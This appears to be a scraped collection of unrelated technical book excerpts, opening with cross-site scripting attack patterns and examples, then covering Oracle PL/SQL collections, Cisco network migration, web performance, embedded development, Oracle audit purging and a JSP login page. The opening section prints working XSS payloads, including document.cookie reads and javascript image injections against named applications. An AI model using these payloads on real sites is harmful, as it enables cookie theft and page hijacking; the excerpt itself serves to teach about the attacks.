The following link may result in a Javascript
pop-up message:




<div>
[View full width]</div>
<a href="trusted.site.com/cgi-bin/post_message.pl?&ltscript&gtalert('hello!')&lt

/script&gt">click me</a>

The message posted to the server is


&ltscript&gtalert('hello!')&lt/script&gt

and the target server is likely to convert this
text (because of the escape characters) to


<script>alert('hello!')</script>

Thus, when the victim views the result of their
post, their browser is given script code to execute.

Attack Pattern: Simple Script
Injection

As a normal user of a system there are
opportunities to supply input to the system. This input may include
text, numbers, cookies, parameters, and so forth. Once these values
are accepted by the system, they may be stored and used later. If
the data are used in a server response (such as a message board,
where the data are stored and then displayed back to users), an
attacker can "pollute" these data with code that will be
interpreted by unsuspecting client terminals.

* Attack Example: Simple Script
Injection

If a database stores text records, an attacker
can insert a record that contains Javascript. The Javascript might
be something like


<script>alert("Warning, boot sector corrupted");</script>

This causes a pop-up message on the client
terminal that displays the (fake) error message. An unsuspecting
user might be highly confused by this. A more insidious attack
might include a script to alter files on the client hard drive or
proxy an attack.

ICQ (a large company acquired by AOL) had a
problem like this on their Web site. A user could paste malicious
HTML code or script into a message that would later be displayed to
other users. The attack URL looked something like this:


http://search.icq.com/dirsearch.adp?query<script>alert('hello');</script>est&wh=is&users=1

Many Web sites that maintain guest books or
message bases suffer from these problems. The popular geek news
site Slashdot.org, for example, had such
a problem (recently corrected). Testing for this problem is simple:
The attacker pastes script into an input field and observes the
result.

Attack Pattern: Embedding Script in
Nonscript Elements

Script does not need to be inserted between
<script> tags. Instead, script can appear as part of
another HTML tag, such as the image tag. The injection vector
is


<img src=javascript:alert(document.domain)>

* Attack Example: Embedded Script in
Nonscript Element from GNU Mailman XXS

Consider the following URL:


http://host/mailman/listinfo/<img%20src=user_inserted_script>

Attack Pattern: XSS in HTTP
Headers

The HTTP headers of a request are always
available to a server for consumption. No matter the context or
where data are positioned, if the data are from the client, they
should clearly be untrusted. However, in many cases programmers
overlook header information. For some reason header information is
treated as holy ground that cannot be controlled by the user. This
pattern takes advantage of this oversight to inject data via a
header field.

* Attack Example: HTTP Headers in
Webalizer XSS

A program called webalizer can analyze logs of Web
requests. Sometimes search engines will put identifying data in the
Referrer field when they make a request. Webalizer can (for
example) search all requests made from search engines and compile a
list of search keywords. The keywords, once obtained, are cataloged
on an HTML page.

An XSS attack can execute via these search
terms. This involves faking a request from a search engine and
putting embedded script into the search term itself. Webalizer
copies the attack string, unfiltered, into the catalog of known
search terms, where it is then activated by an administrator.

Attack Pattern: HTTP Query Strings

A query string takes variable = value pairs.
These are passed to the target executable or script designated in
the request. A variable can be injected with script. The script is
processed and stored in a way that is later visible to a user.

* Attack Example: PostNuke Content
Management System XSS

The PostNuke content management system (http://www.postnuke.com/ ) had
a vulnerability in which user-supplied HTML could be injected. The
following URL carried out a simple query string attack: http://[website]/user.php?op=userinfo&uname=<script>alert(document.cookie);</script>.

* Attack Example: EasyNews PHP Script
XSS

The following HTML request could at one
time cause a post to be made, which includes an XSS attack:




<div>
[View full width]</div>
http://[target]/index.php?action=comments&do=save&id=1&cid=../news&
name=11/11/11&kommentar=%20&e-mail=hax0r&zeit=<img src=javascript:alert(document.title)>

,11:11,../news,
bugs@securityalert.=com&datum=easynews%20exploited

Attack Pattern: User-Controlled
Filename

An unfiltered, user-controlled filename can be
used to construct client HTML. Perhaps HTML text is being built
from filenames. This can be the case if a Web server is exposing a
directory on the file system, for example. If the server does not
filter certain characters, the filename itself can include an XSS
attack.

* Attack Example: XSS in MP3 Files and
Spreadsheets

The cross-site problem is not confined to Web
sites alone. There are many types of media files that contain URLs,
including MP3 music files, video files, postscripts, PDFs, and even
spreadsheet files. The client programs used to view these kinds of
files may interpret the embedded URL data directly or may transfer
the HTML data to an embedded Web browser, such as the Microsoft
Internet Explorer control. Once control is transferred, the
embedded data are subject to the same problems as in a traditional
XSS attack.

Microsoft considers the XSS problem extremely
serious and devotes considerable attention to eradicating XSS
vulnerabilities during their self-described "security push" phase
of software development.^[3]

^[3] The book Writing Secure Code [Howard and
LeBlanc, 2002] describes how security has been integrated into
Microsoft's software development life cycle.


	Amazon

Summary

2009-11-13T07:49:00.041-08:00

< Day Day Up >

Summary

The importance of the preplanning phase cannot be overemphasized. Because time was spent to "plan the plan," the result was a transition in which obstacles were identified and dealt with ahead of time. Considering issues that revolved around the impact the initiative would have on users ensured buy-in and greater speed to competency. Putting together a cross-functional team with the right expertise and accountability resulted in a much more reliable, stable network and a support team that has been onboard since the beginning. Following is a short summary from each section of Chapter 2.

Importance of a cross-functional team�

The AVVID Tiger Team was made up of an executive sponsor, a steering committee, a team lead and program manager, and a core team that included four tracks representing expertise in technology, support, finance, and each of Cisco's global theaters.
Executive management sponsorship�

Executive sponsorship was instrumental to the team's ability to gain buy-in from the user community. The executive sponsor should be the highest-ranking individual within the corporation. The executive sponsor for Cisco was its CEO, John Chambers. Chambers' role was to champion the initiative, tie in the business objectives for the migration, communicate the vision and importance, and commit the resources required to complete the project.
Managing change�

Understanding user needs, communicating the who, what, where, when, and why, instilling a culture of openness to change within the organization, and managing expectations built acceptance by the user community.
Where do you begin: the engineering story�

Building the right team with experience in either voice or data helped fill the gaps, enabled a comprehensive understanding of the current infrastructure, and determined what it would take to evolve to a converged network. In addition, planning the dial plan, ensuring the ability to scale, and determining the best location for the infrastructure laid the groundwork for a successful migration.

< Day Day Up >

Lab 18.3 Multilevel Collections

2009-11-13T07:49:00.039-08:00


Team-Fly

	Oracle® PL/SQL® Interactive Workbook, Second Edition By Benjamin Rosenzweig, Elena Silvestrova
	Table of Contents

	Chapter 18. Collections

Lab 18.3 Multilevel Collections

Lab Objective

After this Lab, you will be able to:

Use Multilevel Collections

So far you have seen various examples of collections with the element type based on a scalar type, such as NUMBER and VARCHAR2. In Oracle 9i, PL/SQL provides you with the ability to create collections whose element type is based on a collection type. Such collections are called multilevel collections. You will recall that multilevel collections is a new feature and is not supported by Oracle versions prior to 9i.

Consider a varrray of varrays shown in Figure 18.3.

Figure 18.3. A Varray of Varrays

Figure 18.3 shows a varray of varrays or nested varray. A varray of varrays consists of three elements, where each individual element is a varray consisting of four integer numbers. As a result, in order to reference an individual element of a varray of varrays, you use the following notation:


varray_name(subscript of the outer varray)(subscript of 
the inner varray)

For example, the varray(1)(3) in Figure 18.3 equals 6; similarly, varray(2)(1) equals 1.

Consider an example based on Figure 18.3.

FOR EXAMPLE


DECLARE 
   TYPE varray_type1 IS VARRAY(4) OF INTEGER; 
   TYPE varray_type2 IS VARRAY(3) OF varray_type1; 
   varray1 varray_type1 := varray_type1(2, 4, 6, 8); 
   varray2 varray_type2 := varray_type2(varray1); 
BEGIN 
   DBMS_OUTPUT.PUT_LINE ('Varray of integers'); 
   FOR i IN 1..4 LOOP 
      DBMS_OUTPUT.PUT_LINE ('varray1('||i||'): ' || 
         varray1(i)); 
   END LOOP; 

   varray2.EXTEND; 
   varray2(2) := varray_type1(1, 3, 5, 7); 

   DBMS_OUTPUT.PUT_LINE (chr(10)|| 
      'Varray of varrays of integers'); 
   FOR i IN 1..2 LOOP 
      FOR j IN 1..4 LOOP 
         DBMS_OUTPUT.PUT_LINE 
            ('varray2('||i||')('||j||'): '||varray2(i)(j)); 
      END LOOP; 
   END LOOP; 
END;

In this declaration portion of the example, you define two varray types. The first type, varray_type1, is based on the INTEGER datatype and can contain up to four elements. The second type, varray_type2, is based on the varray_type1 and can contain up to six elements. Next, you declare two varrays based on the types just described. The first varray, varray1, is declared as varray_type1 and initialized so that its four elements are populated with the first four even numbers. The second varray, varray2, is declared as varray_type2, so that each individual element is a varray consisting of four integer numbers, and initialized so that it first varray element is populated.

In the executable portion of the example, you display the values of the varray1 on the screen. Next, you extend the upper bound of the varray2 by one, and populate its second element as follows:


varray2(2) := varray_type1(1, 3, 5, 7);

Notice that you are using a constructor corresponding to the varray_type1 because each element of the varray2 is based on the varray1 collection. In other words, the same result could be achieved via the following two statements:


varray1 := varray_type1(1, 3, 5, 7); 
varray2 := varray_type2(varray1);

Once the second element of the varray2 is populated, you display results on the screen via nested numeric FOR loops.

This example produces the following output:


Varray of integers 
varray1(1): 2 
varray1(2): 4 
varray1(3): 6 
varray1(4): 8 

Varray of varrays of integers 
varray2(1)(1): 2 
varray2(1)(2): 4 
varray2(1)(3): 6 
varray2(1)(4): 8 
varray2(2)(1): 1 
varray2(2)(2): 3 
varray2(2)(3): 5 
varray2(2)(4): 7 

PL/SQL procedure successfully completed.

Lab 18.3 Exercises

18.3.1 Use Multilevel Collections

In this exercise, you will learn more about multilevel collections.

Create the following PL/SQL script:


-- ch18_4a.sql, version 1.0 
SET SERVEROUTPUT ON 
DECLARE 
   TYPE table_type1 IS TABLE OF integer INDEX BY 
   BINARY_INTEGER; 
   TYPE table_type2 IS TABLE OF table_type1 INDEX BY 
   BINARY_INTEGER; 

   table_tab1 table_type1; 
   table_tab2 table_type2; 

BEGIN 
   FOR i IN 1..2 LOOP 
      FOR j IN 1..3 LOOP 
         IF i = 1 THEN 
            table_tab1(j) := j; 
         ELSE 
            table_tab1(j) := 4 - j; 
         END IF; 
         table_tab2(i)(j) := table_tab1(j); 
         DBMS_OUTPUT.PUT_LINE ('table_tab2('|| 
            i||')('||j||'): '||table_tab2(i)(j)); 
      END LOOP; 
   END LOOP; 
END;

Execute the script, and then answer the following questions:

a)	Execute the script ch18_4a.sql and explain the output produced.
b)	Modify the script so that instead of using multilevel index-by tables it uses a nested table of index-by tables.
c)	Modify the script so that instead of using multilevel index-by tables it uses a nested table of varrays.

Lab 18.3 Exercise Answers

This section gives you some suggested answers to the questions in Lab 18.3, with discussion related to how those answers resulted. The most important thing to realize is whether your answer works. You should figure out the implications of the answers here and what the effects are from any different answers you may come up with.

18.3.1 Answers

a)	Execute the script ch18_4a.sql and explain the output produced.
A1:	Answer: Your output should look similar to the following: table_tab2(1)(1): 1 table_tab2(1)(2): 2 table_tab2(1)(3): 3 table_tab2(2)(1): 3 table_tab2(2)(2): 2 table_tab2(2)(3): 1 PL/SQL procedure successfully completed. The script ch18_4a.sql uses multilevel index-by tables or an index-by table of index-by tables. The declaration portion of the script defines a multilevel index-by table table_tab2. Each row of this table is an index-by table consisting of three rows. The executable portion of the script populates the multilevel table via nested numeric FOR loops. In the first iteration of the outer loop, the inner loop populates the index-by table table_tab1 with values 1, 2, 3, and the first row of the multilevel table table_tab2. In the second iteration of the outer loop, the inner loop populates the index-by table table_tab1 with values 3, 2, 1, and the second row of the multilevel table table_tab2.
b)	Modify the script so that instead of using multilevel index-by tables it uses a nested table of index-by tables.
A2:	Answer: Your script should look similar to the following script. Changes are shown in bold letters. -- ch18_4b.sql, version 2.0 SET SERVEROUTPUT ON DECLARE TYPE table_type1 IS TABLE OF integer INDEX BY BINARY_INTEGER; TYPE table_type2 IS TABLE OF table_type1; table_tab1 table_type1; table_tab2 table_type2 := table_type2(); BEGIN FOR i IN 1..2 LOOP table_tab2.EXTEND; FOR j IN 1..3 LOOP IF i = 1 THEN table_tab1(j) := j; ELSE table_tab1(j) := 4 - j; END IF; table_tab2(i)(j) := table_tab1(j); DBMS_OUTPUT.PUT_LINE ('table_tab2('\|\| i\|\|')('\|\|j\|\|'): '\|\|table_tab2(i)(j)); END LOOP; END LOOP; END; In this version of the script, the table_type2 is declared as a nested table of index-by tables. Next, table_tab2 is initialized prior to its use, and its size is extended before a new element is assigned a value.
c)	Modify the script so that instead of using multilevel index-by tables it uses a nested table of varrays.
A3:	Answer: Your script should look similar to the following script. Changes are shown in bold letters. -- ch18_4c.sql, version 3.0 SET SERVEROUTPUT ON DECLARE TYPE table_type1 IS VARRAY(3) OF integer; TYPE table_type2 IS TABLE OF table_type1; table_tab1 table_type1 := table_type1(); table_tab2 table_type2 := table_type2(table_tab1); BEGIN FOR i IN 1..2 LOOP table_tab2.EXTEND; table_tab2(i) := table_type1(); FOR j IN 1..3 LOOP IF i = 1 THEN table_tab1.EXTEND; table_tab1(j) := j; ELSE table_tab1(j) := 4 - j; END IF; table_tab2(i).EXTEND; table_tab2(i)(j):= table_tab1(j); DBMS_OUTPUT.PUT_LINE ('table_tab2('\|\| i\|\|')('\|\|j\|\|'): '\|\|table_tab2(i)(j)); END LOOP; END LOOP; END; In this declaration section of the script, the table_type1 is defined as a varray with three integer elements, and the table_type2 is declared as a nested table of varrays. Next, table_tab1 and table_tab2 are initialized prior to their uses. In the executable portion of the script, the size of the table_tab2 is incremented via the EXTEND method and its individual elements are initialized as follows: table_tab2(i) := table_type1(); Notice that that each element is initialized via the constructor associated with the varray type table_type1. Furthermore, in order to populate a nested table, a new varray element must be added to the each nested table element as shown: table_tab2(i).EXTEND; In other words, for the first iteration of the outer loop, there are three varray elements added to the first element of the nested table. Without this statement, the script causes the following error: DECLARE * ERROR at line 1: ORA-06533: Subscript beyond count ORA-06512: at line 20 When run, this script produces output identical to the original example: table_tab2(1)(1): 1 table_tab2(1)(2): 2 table_tab2(1)(3): 3 table_tab2(2)(1): 3 table_tab2(2)(2): 2 table_tab2(2)(3): 1 PL/SQL procedure successfully completed.

Answers

Based on the preceding script, what is the value of the variable VAR1?

_____ There is no value because the script generates an error.
_____ 2
_____ 6

A1:

Questions

Answers

Comments

Consider the statement


varray2(2)(3)

In this statement you are referencing the second element of varray2 and third element of varray1. Each element of varray2 is a varray of three integers defined as varray1. Recall the following declaration statement:


varray2 varray_type2 := 
   varray_type2(varray1, varray_type1 
   (4, 5, 6));

where varray_type1(4, 5, 6) is the second element of the varray2. Notice that the third element of varray1 is 6. As a result, the variable var1 is assigned a value of 6.

The statement varray2(3).EXTEND

_____ adds a third element to the third element of VARRAY2.
_____ adds a second element to the third element of VARRAY2.
_____ causes a 'Subscript beyond count' error.

A2:

Questions

Answers

Comments

You will recall that the PL/SQL block contains the following statements:


varray2.EXTEND; 
varray2(3) := varray_type1(0); 
varray2(3).EXTEND;

The first statement increases the size of the varray2. In other words, this statement adds the third element to the collection. The second statement initializes the third element of the varray2 via constructor associated with the varray type varray_type1. This is done because each element of the varray2 is a varray of three integers. This adds one element to the varray1. The third statement increases the size of the varray1 by adding a placeholder for the second element. In other words, it adds the second element to the third element of varray2.

Lab 18.3 Self-Review Questions

In order to test your progress, you should be able to answer the following questions.

Answers appear in Appendix A, Section 18.3.

1)	Multilevel collections are not supported by Oracle 8i. _____ True _____ False
2)	A varray of varrays has an upper bound _____ that is fixed and cannot be extended to all. _____ that can be extended to its maximum size. _____ that can be extended without any limits.
3)	There is no need to initialize a nested table of index-by tables prior to its use. _____ True _____ False

Consider the following script for the next two questions:


DECLARE 
   TYPE varray_type1 IS VARRAY(3) OF INTEGER; 
   TYPE varray_type2 IS VARRAY(10) OF varray_type1; 

   varray1 varray_type1 := varray_type1(1, 2, 3); 
   varray2 varray_type2 := varray_type2(varray1, 
   varray_type1(4, 5, 6)); 

   var1 INTEGER; 
BEGIN 
   var1 := varray2(2)(3); 
   varray2.EXTEND; 
   varray2(3) := varray_type1(0); 
   varray2(3).EXTEND; 
END;

4)	Based on the preceding script, what is the value of the variable VAR1? _____ There is no value because the script generates an error. _____ 2 _____ 6
5)	The statement varray2(3).EXTEND _____ adds a third element to the third element of VARRAY2. _____ adds a second element to the third element of VARRAY2. _____ causes a 'Subscript beyond count' error.


Team-Fly

Top

Every Site Can Benefit from WSO

2009-11-13T07:49:00.037-08:00

[ Team LiB ]

Every Site Can Benefit from WSO

WSO is design and technology agnostic. Media-rich artistic sites or news-oriented information sites can all benefit from WSO. Standards compliant or not, low-tech or high, (X)HTML or XML, CSS or XSLT�the same principles apply. Along the way, you will learn techniques that I learned only through ten years of web development and teaching developers how to create better sites at WebReference.com and JavaScript.com.

What About Broadband?

I know what you're thinking: "What about broadband? Won't more bandwidth make WSO irrelevant?" Nope.

Even users with fast connections can get frustrated. Just ask the users of a certain west coast publication who called with a classic complexity conundrum. They said that even their cable modem users were complaining about the speed of their pages.

Cable modems are typically capable of providing throughput of 1 to 6Mbps when the whole block isn't online at once. On our T1, the pages for their site took more than a minute to display. Even though high-speed users downloaded their 100K HTML pages in a matter of seconds, page complexity and the sheer number of objects slowed rendering to a crawl.

Bandwidth Trends

Despite the best efforts of broadband providers, last-mile bandwidth is increasing more slowly than some have predicted. According to Nielsen//NetRatings, as of September of 2002, 71.9 percent of home users connect to the Internet at 56K or less (see Figure I.1). Broadband use has steadily increased from 5.4 percent in October of 1999 to 28.1 percent in September of 2002. At this growth rate, broadband use in the United States will exceed 50 percent by late 2004.

Figure I.1. Web connection speed trends�U.S. home users.

Site Speed Trends

Although bandwidth is increasing, most users access the Internet at 56Kbps or less. As you will learn in Part I, "The Psychology of Performance," user satisfaction is directly related to snappy response times and feedback. Although B2B sites have gotten the message,^[2] consumer sites are actually becoming slower.

^[2] Patrick Mills and Chris Loosley, "A Performance Analysis of 40 e-Business Web Sites," CMG Journal of Computer Resource Management, no. 102 (2001): 28�33. From Oct. 1997 to Jan. 2001, B2B sites cut their average response times from 12 to 2.6 seconds.

According to Keynote Systems, the average download time for 56K modems of the top 40 consumer sites increased from 19.5 seconds in August of 2001 to 21.4 seconds in September of 2002 (see Figure I.2). Without feedback (and even with feedback), this is well over the attention threshold of most users.

Figure I.2. Download times of Keynote Consumer 40 for 56K modems.

Although our computers are getting faster, the speed of our connections can't keep up. With Moore's law leading Metcalf's, CPU processing power is increasing faster than bandwidth.^[3]

^[3] Jakob Nielsen, "Nielsen's Law of Internet Bandwidth," in Alertbox [online], (April 5, 1998 [cited 11 November 2002]), available from the Internet at http://www.useit.com/alertbox/980405.html.

[ Team LiB ]

Sam Spade, Black Widow, and Teleport Pro

2009-11-13T07:49:00.035-08:00

Sam Spade,
Black Widow, and Teleport Pro

The wget
retriever and grep are powerful tools for
automated source sifting. At times, we also use GUI-driven tools such as Sam
Spade, Black Widow, and Teleport Pro for crawling and analyzing Web sites. The
main drawback of wget is that it isn't
multithreaded. Web crawlers such as Black Widow from SoftByteLabs (style='color:#003399'>http://www.softbytelabs.com)
and Teleport Pro by Tennyson Maxwell (http://www.tenmax.comlang=EN-GB>) are excellent multithreaded crawler programs that run on Windows. However,
neither have the capability to search mirrored HTML code. For that, we use the
Windows' findstr utility.

Sam Spade v1.14 from Blighty Design, Inc. (style='color:#003399'>http://www.samspade.org)
features a Web crawler tool along with options to search for patterns and elements
such as e-mail addresses within downloaded HTML code. lang=EN-GB style='color:#003399'>Figure 7-4 shows
Sam Spade's Web crawler options.

lang=EN-GB style='font-size:10.5pt;font-family:Arial'>Figure 7-4. Sam Spade Web
crawler options

lang=EN-GB style='color:#003399'>Figure 7-5 shows
the output produced by Sam Spade: hyperlinks, e-mail addresses, and hidden
fields extracted from http://www.acme-art.com.

lang=EN-GB style='font-size:10.5pt;font-family:Arial'>Figure 7-5. Sam Spade run
against www.acme-art.com

Section 1.4. Life As an Embedded Software Developer

2009-11-13T07:49:00.033-08:00

1.4. Life As an Embedded Software Developer

Let's
now take a brief look at some of the qualities of embedded software that set embedded developers apart from other types of software developers. An embedded software developer is the one who gets her hands dirty by getting down close to the hardware.

Embedded software development, in most cases, requires close interaction with the physical worldthe hardware platform. We say "in most cases" because there are very large embedded systems that require individuals to work solely on the application-layer software for the system. These application developers typically do not have any interaction with the hardware. When designed properly, the hardware device drivers are abstracted away from the actual hardware so that a developer writing software at the application level doesn't know how a string gets output to the display, just that it happens when a particular routine is called with the proper parameters.

Hardware knowledge

The embedded software developer must become intimately familiar with the integrated circuits, the boards and buses, and the attached devices used in order to write solid embedded software (also called
firmware). Embedded developers shouldn't be afraid to dive into the schematics, grab an oscilloscope probe, and start poking around the circuit to find out what is going on.

Efficient code

Because
embedded systems are typically designed with the least powerful and most cost-effective processor that meets the performance requirements of the system, embedded software developers must make every line of code count. The ability to write efficient code is a great quality to possess as a firmware developer.

Peripheral interfaces

At

the lowest level, firmware is very specialized, because each component or circuit has its own activity to perform and, furthermore, its own way of performing that activity. Embedded developers need to know how to communicate with the different devices or peripherals in order to have full control of the devices in the system. Reacting to stimuli from external peripherals is a large part of embedded software development.

For example, in one microwave oven, the firmware might get the data from a temperature sensor by reading an 8-bit register in an external analog-to-digital converter; in another system, the data might be extracted by controlling a serial bus that interfaces to the external sensor circuit via a single wire.

Robust code

There
are expectations that embedded systems will run for years in most cases. This is not a typical requirement for software applications written for a PC or Mac. Now, there are exceptions. However, if you had to keep unplugging your microwave in order to get it to heat up your lunch for the proper amount of time, it would probably be the last time you purchased a product from that company.

Minimal resources

Along the same lines of creating a more robust system, another large differentiator between embedded software and other types of software is resource constraints. The rules for writing firmware are different from the rules for writing software for a PC. Take memory allocation, for instance. An application for a modern PC can take for granted that it will have access to practically limitless resources. But in an embedded system, you will run out of memory if you do not plan ahead and design the software properly.

An embedded software developer must closely manage resources, from memory to processing power, so that the system operates up to specification and so failures don't occur. For example, using standard dynamic memory allocation functions can cause fragmentation, and eventually the system may cease to operate. This requires a reboot since you have no place to store incoming data.

Quite often, in embedded software, a developer will allocate all memory needed by the system at initialization time. This is safer than using dynamic memory allocation, though it cannot always be done.

Reusable software

As we mentioned before
, code portability or code reusewriting software so that it can be moved from hardware platform to hardware platformis very useful to aid transition to new projects. This cannot always be done; we have seen how individual each embedded system is. Throughout this book, we will look at basic methods to ensure that your embedded code can be moved more easily from project to project. So if your next project uses an LCD for which you've previously developed a driver, you can drop in the old code and save some precious time in the schedule.

Development tools

The tools you will use throughout your career as an embedded developer will vary from company to company and often from project to project. This means you will need to learn new tools as you continue in your career. Typically, these tools are not as powerful or as easy to use as those used in PC software development.

The debugging tools you might come across could vary from a simple LED to a full-blown

in-circuit emulator (ICE). This requires you, as the firmware developer, and the one responsible for debugging your code, to be very resourceful and have a bag of techniques you can call upon when the debug environment is lacking. Throughout the book, we will present different "low-level software tools" you can implement with little impact on the hardware design.

These are just a few qualities that separate embedded software developers from the rest of the pack. We will investigate these and other techniques that are specific to embedded software development as we continue.

Section 11.1. Consolidating Draft Findings

2009-11-13T07:49:00.031-08:00

11.1. Consolidating Draft Findings

Draft findings are a provisional description of all the strengths and weaknesses of the organization's assessed processes, and they constitute the end product of the assessment team's data-gathering and consolidation activities.

The team should especially highlight those weaknesses that represent a real risk to the organization. A vital goal of any assessment is to help an organization identify its most important weaknesses.

In its consolidation of draft findings, the assessment team refines its accumulated observations by:

Rewording "weakness" observation statements to maximize their validity by clarifying them, eliminating judgmental terms, using the organization's language as much as possible, and eliminating attributions. Most of this has usually been done during day-to-day consolidation.
Consolidating multiple findings classified as strengths and weaknesses into a categorical statement relevant to each KPA/PA and its goals.
Stepping back, thinking about the main intent of a given KPA/PA and its goals, and then deciding which weakness statements have genuine relevance to these goals.
Communicating to the organization the activities that must be improved if the organization is to succeed.
Listing strengths and weaknesses for each KPA/PA and for non-model findings. Especially where there is a possibility that a KPA/PA might not be satisfied, there must be a separate item to say so and to identify what weaknesses are involved.
Extracting and summarizing valid observations classified as strengths and weaknesses from the individual KPA/PA worksheets. It is necessary at this point to reword and/or combine observations to achieve an appropriate degree of general relevance.
- Note: If the statements are too stuffed with nonessential details, senior management will never get the message.
Conducting a review to see if there is still any information needed. (This is possible but unlikely at this point in an assessment.)
Compiling a list of information still needed for KPA/PA and for non-model findings.
Extracting and summarizing valid observations associated with non-model findings and incorporating them into a separate list.
- Non-model observations and suggestions sometimes turn out to be the most important things that come out of an assessment. They include comments on the underlying culture of the organization and should in no case be downplayed.

Usually, only the strengths and weaknesses that the team has agreed on as valid in the last consolidation session are retained.

11.1.1. Draft Findings PresentationA Sample Template

The following is a sample of items typically covered in a draft findings presentation. Each assessment team will create draft findings in the format appropriate to the organization.

Draft Findings PresentationA Sample Template

Title of slide:
- Name of assessed organization.
- Assessment dates.
Model scope:
- Indicate the process areas included in the assessment data collection. Each process area investigated during the assessment is included in the presentation. The process areas are grouped by Maturity Levels.
For each process area, include:
- The description of process area.
- Strengths observed.
- Weaknesses observed.
Multiple slides may be created for each process area.
Non-model findings:
- Indicate issues identified that impact the organization that might not be related to the model.
Questions and comments are encouraged from participants. Facilitator accepts comments; team members record comments. No apologies or promises to change the finds are made. Comments are considered when the team concludes all draft findings presentations, and the team reconvenes.

10.7 Purging Audit Information

2009-11-13T07:49:00.029-08:00

for Ru-Brd & DownSky

size=+0>

10.7 Purging Audit Information

As we've mentioned several times in
this chapter, you need to closely monitor the SYS.AUD$ table as long as
any form of auditing is occurring in the database. This is the only data
dictionary table from which Oracle permits DBAs to delete information. The
wise DBA will archive the
information from this table before removing the data. One way to archive
data is to create a summary table and move the information of interest
into the summary table before removing the data from the SYS.AUD$ table.
Since the auditing views rely on information from the SYS.AUD$ table,
remember that when you remove data from this table, the data will disappear from the audit
views as well. Another way to archive the data from this table is to
create a copy of the table in another schema and then export that schema.
Figure
10.2 shows a possible purge cycle.

Figure 10.2. Data collection and summary cycle

10.7.1 Removing All the Data from SYS.AUD$

You can remove all the data from the SYS.AUD$ table by issuing
the statement:

TRUNCATE TABLE sys.aud$;

or alternatively:

DELETE FROM sys.aud$;

Why would you use DELETE rather than TRUNCATE? As rows of information
are inserted into a table, Oracle uses a mechanism called the "high-water
mark" to indicate the location of the last row of data in the table. This
mark tells Oracle how many blocks to examine during a full table scan.
When you issue a DELETE statement, Oracle marks the row or rows you have
specified as deleted but does not actually erase the rows from the table.
From a performance perspective, if you merely delete all the rows from the
audit table, you will not reset the high-water mark for the table. If a
full table scan is required to obtain data from the table, performance
might slow down substantially as Oracle examines every block of the table
— even the "empty" blocks ( those blocks containing rows marked as
deleted).

If you issue the TRUNCATE command, on the other hand, the high-water
mark is reset to the first block in the table and performance will be
improved.

10.7.2 Removing Selected Data from SYS.AUD$

If you want to retain specific data in the table but want to ensure
that the table is kept to a manageable size, you can create a script to
delete only selected rows from the SYS.AUD$ table. You might base the
deletions on a specific range of dates or by a specific group of actions
or users.

As we described in the earlier "Creating a summary table" section, you
may want to retain the information from the SYS.AUD$ table into a summary
table before you delete any rows.

for Ru-Brd & DownSky

Creating the MainPage JSP Page

2009-11-13T07:49:00.027-08:00

Creating the MainPage JSP Page

The MainPage JSP page renders the home page of the online news application. The MainPage JSP page displays the news headlines and the fields to accept the user ID and password of an end-user.

Listing 6-3 shows the content of the MainPage.jsp file:

Listing 6-3: The MainPage.jsp File


<html>
<head>
<title>Online News</title>
</head>
<body>
<div align="center">
<table width="830" height="71" border="0">
<tr>
<td width="816" height="61" bgcolor="#FFFFFF"><h2 align="center"><font
color="#000080" size="5"><strong><em>Online News
</em></strong></font></h2></td>
</tr>
</table>
<p>&nbsp;</p>
<p><em></em></p>
</div>
<p align="center">&nbsp;</p>
<!--Display form to post logon information to DoLogon.jsp-->
<form action="DoLogon.jsp">
<center>
<table border="1" width="300" cellspacing="0" cellpadding="0" height="81">
<!--Display user ID text field-->
<tr>
<td width="50%" bgcolor="#FFFFFF"><div align="center"><font
color="#000080"><b>User ID</b></font></div></td>
<td width="50%"><input name="txtusername"></td>
</tr>
<!--Display password field-->
<tr>
<td width="50%" bgcolor="#FFFFFF"><div align="center"><font
color="#000080"><b>Password</b></font></div></td>
<td width="50%"><input type="password" name="txtpassword" size="20"></td>
</tr>
<tr>
<td width="50%"><div align="center">
<input type="submit" value="Logon" name="B1">
</div></td>
<td width="50%"><input type="reset" value="Reset" name="B2"></td>
</tr>
</table>
</center>
</form>
<p>&nbsp;</p>
<center>
<table width="48%" border="1" cellpadding="0" cellspacing="0" bordercolor="#0000FF">
<tr>
<td width="100%" bgcolor="#FFFFFF"><div align="center"><font
color="#FF0000"><b>Todays headlines</b></font></div></td>
</tr>
<!--Use taglib directive to include JSTL core and XML tags-->
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" 
prefix="c" %> 
<%@ taglib uri="http://java.sun.com/jsp/jstl/xml" 
prefix="x"%> 
<!--Parse newslist.xml file and store result in newslist variable in application scope-->
<c:if test="${empty applicationScope.newslist}" > 
<c:import url="http://localhost:8080/news/xml/newslist.xml" var="xml"/>
<x:parse doc="${xml}" var="newslist" scope="application"/>
</c:if>  
<!--Retrieve date element value for each news element and store in tempdate variable in request scope-->
<x:forEach var="heading" select="$newslist/newslist/*">
<c:set var="tempdate" scope="request">
<x:out select="$heading/date"/>
</c:set>
<%
/*Retrieve current date in string*/
java.util.Date currdate = new java.util.Date();
String tempdate=""+currdate.getDate()+"-"+(currdate.getMonth()+1)+"-"+(1900+currdate.getYear());
/*Retrieve date stored in request*/
String tempnewsdate=(String)request.getAttribute("tempdate");
if(tempdate.equals(tempnewsdate))
{
   /*Compare current date with date retrieved from object. Display  headings for matching dates*/
   %>
   <tr>
   <td width="100%"><div align="center"><font color="#000080"><b>
   <x:out select="$heading/heading"/></b></font></div></td>
   </tr>
   <%
}
%>
</x:forEach>
</table>
</center>
</body>
</html>

Download this listing.

The above code creates the MainPage JSP page. The code displays the User ID and Password fields to accept user information. The taglib directives include the JSTL core and XML tag libraries in the JSP page. The <c:import> tag stores the newslist XML document in an xml variable. The <x:parse> tag parses the XML document and stores the result in a newslist variable. The <x:forEach> tag retrieves the date of publication of news and stores the date value in the tempdate variable. The code uses the Date class to retrieve the current date and stores the date value in the tempnewsdate variable. The code compares the date value stored in the tempdate variable with the value stored in the tempnewsdate variable. For matching values, the code uses the <x:out > tag to display the news headlines.

Figure 6-2 shows the user interface of the MainPage JSP page:

Figure 6-2: The MainPage JSP Page

4.5 The 'poll' Function

2009-11-13T07:49:00.025-08:00

[ Team LiB ]

4.5 The `poll` Function

The poll function is similar to select, but it organizes the information by file descriptor rather than by type of condition. That is, the possible events for one file descriptor are stored in a struct pollfd. In contrast, select organizes information by the type of event and has separate descriptor masks for read, write and error conditions. The poll function is part of the POSIX:XSI Extension and has its origins in UNIX System V.

